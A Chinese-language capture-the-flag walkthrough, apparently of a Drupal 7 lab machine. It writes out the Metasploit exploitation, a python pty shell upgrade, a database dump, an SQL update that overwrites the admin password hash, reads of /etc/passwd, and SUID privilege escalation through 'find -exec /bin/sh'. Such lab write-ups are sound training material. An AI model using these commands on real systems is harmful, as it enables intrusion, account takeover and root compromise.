确定目标ip(netdiscover)
其中除去140 其他可能是网关,也可能vm的双虚拟网卡都有可能
nmap扫描开放端口
访问网页并发现框架为Drupal 7
进入msf查询漏洞(msfconsole)
找到一个最新的 use 2
设置目标ip
输入shell,进入shell终端
使用python命令进入一个可交互的输入终端(我理解为进入一个可以显示正在操作的权限与目录位置还有命令能显示出来的交互并且让shell交互变得更加完成,其中一些功能就会能用了)
python -c 'import pty; pty.spawn("/bin/bash")'
展开目录发现flag1.txt并打开
这句话翻译后:每个好的 CMS 都需要一个配置文件 - 你也是如此。(就是找Drupal7的默认配置文件在哪)
按照路径打开再cat文件,得到flag2
这个意思是暴力破解不是唯一获得root权限的手段,下面还给出了数据库与账号密码,就跟着进去
使用命令输入账号密码进入数据库
打开数据库,使用Drupaldb数据库
show tables;
select * from users;
得到用户名与加密后的密码,这种加密密码可以尝试线上解密试一试(www.cmd5.com)试了,可以解开并进去
这里使用另一种方法,根据它的加密算法去编辑一个新的密码,之后再到数据库中把密码更换
退出数据库并返回到最初的目录位置 ls
找到scripts(脚本)也可以一个一个试,里面找到了加密hash的脚本,利用这个脚本创建一个自己的密码 这步意思是把666666使用hash脚本加密称为hash值
再次进入数据库,更改密码
update users set pass="$S$DYB4HPaeG88uVx4Cpo0xFiD3U102WNmnGLI/QHOC6wkuyFSuh0Do"where name ="admin";
再次查看 select name,pass from users;,看到admin账号的密码被更改成功
去页面登录把
左上角content中有flag3点开
根据提示passwd,固定目录/etc/passwd
后面的flag4可以再家目录中找到(至于为什么我也不知道),得到flag4
意思是你能使用相同的方法再root权限中发现flag?那就提权
使用SUID提权,以下命令任意一个都可以
-
find / -user root -perm -4000 -print 2>/dev/null
-
find / -perm -u=s -type f 2>/dev/null
-
find / -user root -perm -4000 -exec ls -ldb {} \;
正好find命令本身就是root权限
find / -name flag4 -exec "/bin/sh" \; 提权,其中name后接真实存在的文件(以find命令执行exec)